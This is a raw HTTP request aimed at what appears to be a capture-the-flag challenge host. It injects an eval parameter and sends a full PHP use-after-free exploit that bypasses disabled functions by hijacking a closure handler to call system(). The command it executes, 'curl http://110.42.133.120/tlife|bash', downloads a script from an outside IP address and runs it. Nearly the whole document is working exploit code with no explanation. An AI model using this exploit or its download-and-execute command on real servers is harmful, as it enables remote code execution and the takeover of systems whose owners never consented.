POST /?exp=eval($_POST[1]); HTTP/1.1 Host: c9be48e4-3f0c-4ebd-8cc6-ba5f826890d0.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: UM_distinctid=17c6332d1772a3-003cfe433760328-4c3e2679-144000-17c6332d178a88 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29 Content-Length: 6949
------WebKitFormBoundaryj28zfvoWVxnHdp29 Content-Disposition: form-data; name="1"
pwn('curl http://110.42.133.120/tlife|bash ');
function pwn($cmd) { define('LOGGING', false); define('CHUNK_DATA_SIZE', 0x60); define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE); define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50); define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1); define('CMD', $cmd); for($i = 0; $i < 10; $i++) { $groom[] = Pwn::alloc(STRING_SIZE); } stream_filter_register('pwn_filter', 'Pwn'); $fd = fopen('php://memory', 'w'); stream_filter_append($fd,'pwn_filter'); fputs($fd, 'x'); }
class Helper { public $a, $b, $c; } class Pwn extends php_user_filter { private $abc, $abc_addr; private $helper, $helper_addr, $helper_off; private $uafp, $hfp;
public function filter($in, $out, &$consumed, $closing) { if($closing) return; stream_bucket_make_writeable($in); $this->filtername = Pwn::alloc(STRING_SIZE); fclose($this->stream); $this->go(); return PSFS_PASS_ON; }
private function go() { $this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper; $this->helper->b = function($x) {};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2; $this->log("helper @ 0x%x", $this->helper_addr);
$this->abc_addr = $this->helper_addr - CHUNK_SIZE; $this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE); $this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8); $this->log("binary leak @ 0x%x", $binary_leak); $this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38); $this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10); $this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce); $this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs); $this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2; for($i = 0; $i < 0x138; $i += 8) { $this->write($fake_closure_off + $i, $this->read($closure_addr + $i)); } $this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off; $this->write($this->helper_off + 0x38, $fake_closure_addr); $this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup(); ($this->helper->b)(CMD); }
private function make_uaf_obj() { $this->uafp = fopen('php://memory', 'w'); fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE)); for($i = 0; $i < STRING_SIZE; $i++) { fputs($this->uafp, "\x00"); } }
private function prepare_leaker() { $str_off = $this->helper_off + CHUNK_SIZE + 8; $this->write($str_off, 2); $this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48; $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8); $this->write($val_off + 8, 0xA); }
private function prepare_cleanup($binary_leak) { $ret_gadget = $binary_leak; do { --$ret_gadget; } while($this->read($ret_gadget, 1) !== 0xC3); $this->log("ret gadget = 0x%x", $ret_gadget); $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60)); $this->write(8, $ret_gadget); }
private function read($addr, $n = 8) { $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10); $value = strlen($this->helper->c); if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } return $value; }
private function write($p, $v, $n = 8) { for($i = 0; $i < $n; $i++) { $this->abc[$p + $i] = chr($v & 0xff); $v >>= 8; } }
private function get_basic_funcs($addr) { while(true) { // In rare instances the standard module might lie after the addr we're starting // the search from. This will result in a SIGSGV when the search reaches an unmapped page. // In that case, changing the direction of the search should fix the crash. // $addr += 0x10; $addr -= 0x10; if($this->read($addr, 4) === 0xA8 && in_array($this->read($addr + 4, 4), [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if($module_name === 0x647261646e617473) { $this->log("standard module @ 0x%x", $addr); return $this->read($addr + 0x28); } } } }
private function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->read($addr); $f_name = $this->read($f_entry, 6); if($f_name === 0x6d6574737973) { return $this->read($addr + 8); } $addr += 0x20; } while($f_entry !== 0); }
private function cleanup() { $this->hfp = fopen('php://memory', 'w'); fputs($this->hfp, pack('QQ', 0, $this->abc_addr)); for($i = 0; $i < FILTER_SIZE - 0x10; $i++) { fputs($this->hfp, "\x00"); } }
private function str2ptr($p = 0, $n = 8) { $address = 0; for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($this->abc[$p + $j]); } return $address; }
private function ptr2str($ptr, $n = 8) { $out = ''; for ($i = 0; $i < $n; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
private function log($format, $val = '') { if(LOGGING) { printf("{$format}\n", $val); } }
static function alloc($size) { return str_shuffle(str_repeat('A', $size)); } } ------WebKitFormBoundaryj28zfvoWVxnHdp29--
|